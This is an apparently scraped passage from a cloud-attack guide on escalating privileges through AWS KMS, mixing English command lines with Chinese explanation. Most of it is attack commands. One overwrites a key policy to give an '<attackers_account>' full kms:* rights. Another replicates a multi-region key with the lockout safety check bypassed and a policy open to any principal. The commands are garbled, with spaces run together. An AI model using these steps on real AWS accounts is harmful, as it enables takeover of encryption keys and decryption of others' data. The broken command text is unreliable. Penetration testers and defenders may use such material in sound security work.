awskmslist-keysawskmslist-key-policies--key-id<id># Although only 1 max per keyawskmsget-key-policy--key-id<id>--policy-name<policy_name># AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")awskmsput-key-policy--key-id<id>--policy-name<policy_name>--policyfile:///tmp/policy.json
policy.json:
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::<origin_account>:root"},"Action":"kms:*","Resource":"*"},{"Sid":"Allow all use","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::<attackers_account>:root"},"Action": [ "kms:*" ],"Resource":"*"}]}
# Use the grant token in a requestawskmsgenerate-data-key \--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \–-key-spec AES_256 \--grant-tokens $token
注意,可以使用以下命令列出密钥的授权:
awskmslist-grants--key-id<value>
kms:CreateKey, kms:ReplicateKey
通过这些权限,可以在不同区域以不同策略复制启用多区域的 KMS 密钥。
因此,攻击者可以利用这一点来获取对密钥的权限提升并使用它。
awskmsreplicate-key--key-idmrk-c10357313a644d69b4b28b88523ef20c--replica-regioneu-west-3--bypass-policy-lockout-safety-check--policyfile:///tmp/policy.yml{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal":{"AWS":"*"},"Action":"kms:*","Resource":"*"}]}